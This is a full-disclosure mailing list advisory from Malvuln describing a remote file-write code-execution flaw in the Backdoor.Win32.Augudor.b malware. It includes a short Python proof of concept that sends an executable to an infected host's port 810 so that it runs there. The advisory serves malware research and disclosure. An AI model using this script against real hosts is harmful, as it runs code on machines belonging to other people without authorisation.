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List:       full-disclosure
Subject:    [FD] Backdoor.Win32.Augudor.b / Remote File Write Code Execution
From:       malvuln <malvuln13 () gmail ! com>
Date:       2022-09-26 1:42:30
Message-ID: CAAHK0WTYVYfVcWFdNyvxyWbQoSbyaELpdH=YT8-cTM+ahuXUVg () mail ! gmail ! com
[Download RAW message or body]

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source:
https://malvuln.com/advisory/94ccd337cbdd4efbbcc0a6c888abb87d.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Augudor.b
Vulnerability: Remote File Write Code Execution
Description: The malware drops an empty file named "zy.exe" and listens on
TCP port 810. Third-party adversaries who can reach the infected host can
write executable code to the empty "zy.exe" file on the system via a socket
program and it will execute as soon as the binary transfer has completed.
Successfully tested with a 880 byte executable.
Family: Augudor
Type: PE32
MD5: 94ccd337cbdd4efbbcc0a6c888abb87d
Vuln ID: MVID-2022-0644
Dropped files: zy.exe
Disclosure: 09/25/2022

Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=810
DOOM="DOOM_SM.exe" #880 bytes

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()

    s.close()

    print("By Malvuln");

if __name__=="__main__":
    doit()


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Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
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